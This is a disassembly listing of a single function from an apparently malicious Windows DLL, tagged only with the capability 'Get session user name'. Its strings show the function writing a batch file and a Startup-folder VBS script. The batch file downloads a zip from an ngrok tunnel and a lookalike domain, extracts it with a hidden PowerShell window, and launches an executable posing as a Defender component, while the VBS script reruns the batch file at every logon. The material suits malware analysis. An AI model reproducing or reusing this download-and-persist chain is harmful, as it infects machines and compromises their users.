Function at 0x180007830
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x18007a240]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov dword [rsp + 0x68], 0x101
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov esi, 6
lea r13d, [rsi - 4]
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::ios_base.0
test eax, eax
je 0x180007a17
lea rdx, str.C:UsersPublicDownloadsUpdate.bat
lea rcx, [rsp + 0x70]
call fcn.1800091e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call fcn.180055030
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.18000a590
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
cmp qword [rbp + 0x18], 0
je 0x180007d12
lea rdx, str._echo_off_n
lea rcx, [rbp - 0x70]
call fcn.18000bec0
mov rcx, rax
lea rdx, str.C:WindowsSystem32curl.exe__s__H__Cookie:_abuse_interstitial__lacewing_guided_gladly.ngrok_free.app___http:__assets.nvlda.com_mytro.zip___o__C:_Users_Public_Downloads_mytro.zip_n
call fcn.18000bec0
mov rcx, rax
lea rdx, str.C:WINDOWSSystem32WindowsPowerShell_v1.0powershell.exe__windowstyle_hidden_Expand_Archive_C:UsersPublicDownloadsmytro.zip___DestinationPath_C:UsersPublicDownloads_n
call fcn.18000bec0
mov rcx, rax
lea rdx, str.cd__d_C:UsersPublicDownloadsmytroMpCopyAccelerator__start__b__MpCopyAccelerator.exe_n
call fcn.18000bec0
lea rcx, [rbp - 0x68]
call fcn.18000aad0
test rax, rax
jne 0x180007984
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov eax, esi
cmp qword [rbp + rcx - 0x28], 0
cmovne eax, r13d
or eax, dword [rbp + rcx - 0x60]
and eax, 0x17
mov dword [rbp + rcx - 0x60], eax
mov edx, dword [rbp + rcx - 0x5c]
and edx, eax
jne 0x180007cb8
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x68]
call fcn.180008aa0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], rdi
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp + 0x38], rbx
lea rcx, [rbp + 0x38]
call fcn.180025324
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x180007a17
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007d0c
call fcn.180025c10
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x180007c77
lea rdx, str.C:Users_
lea rcx, [rsp + 0x70]
call fcn.1800091e0
nop
lea rax, [rbp + 0xa0]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], 0
jne 0x180007a51
mov r14, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r14
xor r15d, r15d
cmp rdi, rax
ja 0x180007aa7
lea rax, [r14 + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 7
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0xa0]
call fcn.180054990
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r15w
jmp 0x180007ac3
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xa0]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.18000c7c0
mov rdi, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, rdi
cmp rax, 0x48
jb 0x180007b0f
lea rax, [rdi + 0x48]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 7
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + rdi*2]
mov r8d, 0x90
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_start.vbs
call fcn.180054990
mov word [rbx + rdi*2 + 0x90], r15w
jmp 0x180007b30
mov qword [rsp + 0x20], 0x48
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_start.vbs
xor r8d, r8d
lea edx, [r8 + 0x48]
lea rcx, [rsp + 0x70]
call fcn.18000c7c0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call fcn.180055030
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.18000a590
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
cmp qword [rbp + 0x18], 0
je 0x180007cad
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___n
lea rcx, [rbp - 0x70]
call fcn.18000bec0
mov rcx, rax
lea rdx, str.ws.Run__C:UsersPublicDownloadsUpdate.bat__0_n
call fcn.18000bec0
lea rcx, [rbp - 0x68]
call fcn.18000aad0
test rax, rax
jne 0x180007bda
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x28], 0
cmovne esi, r13d
or esi, dword [rbp + rcx - 0x60]
and esi, 0x17
mov dword [rbp + rcx - 0x60], esi
mov eax, dword [rbp + rcx - 0x5c]
and eax, esi
jne 0x180007d1d
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x68]
call fcn.180008aa0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x74], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x38], rax
lea rcx, [rbp + 0x38]
call fcn.180025324
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x180007c77
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007c72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007ca7
call fcn.180025c10
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.180025bf0
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18003543c
nop
mov ecx, 1
call fcn.1800383ec
nop
test dl, 4
je 0x180007cc6
lea rbx, str.ios_base::badbit_set
jmp 0x180007cdb
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1800059c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180006570
lea rdx, [0x1800785e0]
lea rcx, [rsp + 0x40]
call fcn.180027d28
nop
call fcn.18003543c
nop
mov ecx, 1
call fcn.1800383ec
nop
test al, 4
je 0x180007d2a
lea rbx, str.ios_base::badbit_set
jmp 0x180007d3e
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1800059c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180006570
lea rdx, [0x1800785e0]
lea rcx, [rsp + 0x40]
call fcn.180027d28
int3